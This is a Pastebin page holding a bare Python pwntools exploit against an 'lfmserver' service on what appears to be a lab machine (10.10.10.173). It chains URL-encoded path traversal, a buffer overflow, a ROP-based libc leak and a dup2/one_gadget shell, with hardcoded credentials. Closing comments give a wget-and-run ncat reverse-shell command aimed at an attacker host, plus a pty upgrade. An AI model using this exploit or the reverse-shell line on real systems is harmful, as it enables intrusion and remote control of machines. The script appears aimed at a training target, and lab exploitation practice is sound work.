Advertisement
Guest User

Untitled

a guest
Apr 7th, 2020
806
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.39 KB | None | 0 0
  1. #!/usr/bin/env python3 -B -u
  2. #-*- coding: utf-8 -*-
  3.  
  4. import sys
  5. from pwn import *
  6. context.arch = "amd64"
  7. # context.log_level = "error" # "debug"
  8.  
  9. def encode(ss): return "".join("%{0:0>2}".format(format(c,"x")) for c in ss)
  10.  
  11. if __name__ == "__main__":
  12.     fd,N = 6,106
  13.     IP,PORT = "10.10.10.173",8888
  14.     r = remote(IP,PORT)
  15.     usrname = "lfmserver_user"
  16.     passwd = "!gby0l0r0ck$$!"
  17.     hash = "26ab0db90d72e28ad0ba1e22ee510510"
  18.     preamble = ("%2e%2e%2f"*5) + "%2e%2e/proc/sys/kernel/randomize_va_space%x00" + ("A"*N)
  19.     bin = ELF("./lfmserver")
  20.     # payload = p64(0x405c4b) + p64(fd) + p64(0x405c49) + p64(bin.got["dup2"]) + p64(0) + p64(0x40251f) + p64(bin.plt["write"])
  21.     payload = p64(0x405c4b) + p64(fd) + p64(0x405c49) + p64(4231200) + p64(0) + p64(0x40251f) + p64(4203552)
  22.     req = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n".format(preamble+encode(payload),usrname,passwd,hash)
  23.     r.sendline(req)
  24.     libc = ELF("./libc-2.28.so")
  25.     leak = r.recvall().split(b"\n")[4][1:7]
  26.     leak = u64(leak.ljust(8,b"\x00"))
  27.     # libc.address = leak - libc.symbols["dup2"]
  28.     libc_addr = leak - 1091264
  29.     log.info("base(libc) @ 0x%08x"%libc_addr)
  30.     r.close()
  31.  
  32.     r = remote(IP,PORT)
  33.     payload = p64(0x405c4b)
  34.     payload += p64(fd)
  35.     payload += p64(0x405c49)
  36.     payload += p64(0x0)
  37.     payload += p64(0x0)
  38.     # payload += p64(bin.plt["dup2"])
  39.     payload += p64(4202560)
  40.     payload += p64(0x405c4b)
  41.     payload += p64(fd)
  42.     payload += p64(0x405c49)
  43.     payload += p64(0x1)
  44.     payload += p64(0x0)
  45.     # payload += p64(bin.plt["dup2"])
  46.     payload += p64(4202560)
  47.     payload += p64(0x405c4b)
  48.     payload += p64(fd)
  49.     payload += p64(0x405c49)
  50.     payload += p64(0x2)
  51.     payload += p64(0x0)
  52.     # payload += p64(bin.plt["dup2"])
  53.     payload += p64(4202560)
  54.     # rop = payload + p64(poprdi) + p64(1) + p64(poprsi) + p64(bin.got["dup2"]) + p64(0) + p64(ropnop) + p64(bin.plt["write"]) + p64(ropnop) + p64(libc.address + 0x501e3)
  55.     rop = payload + p64(0x405c4b) + p64(1) + p64(0x405c49) + p64(4231200) + p64(0) + p64(0x40251f) + p64(4203552) + p64(0x40251f) + p64(libc_addr+0x501e3)
  56.     preamble = ("%2e%2e%2f"*5) + "%2e%2e/proc/sys/kernel/randomize_va_space%x00" + ("A"*N)
  57.     req = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n".format(preamble+encode(rop),usrname,passwd,hash)
  58.     r.sendline(req)
  59.     r.interactive()
  60.     # wget http://10.10.16.213:8000/ncat -O /tmp/nc && chmod 0775 /tmp/nc && /tmp/nc 10.10.16.213 1337 -e /bin/sh
  61.     # python -c "import pty; pty.spawn(\"/bin/bash\")"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement